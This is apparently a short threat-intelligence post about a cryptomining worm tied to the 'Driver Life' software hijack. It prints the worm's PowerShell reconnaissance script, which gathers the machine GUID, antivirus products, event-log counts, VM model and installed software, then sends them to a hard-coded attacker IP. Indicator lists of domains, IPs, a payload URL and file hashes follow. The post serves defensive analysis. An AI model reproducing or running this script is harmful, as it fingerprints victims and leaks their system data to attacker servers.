劫持“驱动人生”的挖矿蠕虫再次活跃

[string]$av = ""

[string]$avs = ""

[string]$log1 = ""

[string]$log2 = ""

[string]$vm = ""

[string]$softlist = ""

try{

[string]$key  = (Get-ItemProperty  registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\ -Name  MachineGuid).MachineGUID

$avs  = (Get-WmiObject -Namespace root\SecurityCenter2 -Class  AntiVirusProduct).displayName

if($avs.GetType().name.IndexOf('Object')  -gt -1){

for($v  = 0; $v -lt $avs.Count; $v++){

$av  += $avs[$v] + "|"

}

}else{

$av  = $avs

}

$log1  = (Get-EventLog -LogName 'Security' -After (get-date).AddDays(-7) -befor  (get-date).AddDays(-3)).length

$log2  = (Get-EventLog -LogName 'Security' -After (get-date).AddDays(-2)).length

$vm  = (get-wmiobject win32_computersystem | select-object -expand model)

$oldsoft  = Get-Wmiobject Win32_Product | select-object -unique -expand InstallDate

for  ($i = 0; $i -lt $oldsoft.length; $i++) {

$softlist  += $oldsoft[$i] + "_"

}

}catch{}

$link = "http:// 68.183.178.71 /tt?p&key="+$key+"&av="+$av+"&log1="+$log1+"&log2="+$log2+"&vm="+$vm+"&soft="+$softlist

(New-Object  Net.WebClient).downloadstring("$link")

oo.beahh.com

img.minicen.ga

t.minicen.ga

172.104.73.9:80

68.183.178.71:80

hxxp://172[.]104.73.9/dll.exe

637bf46077ad083659d3b96a010f38fe

e72d776ceb009a1ff4fb87b7b782aaf7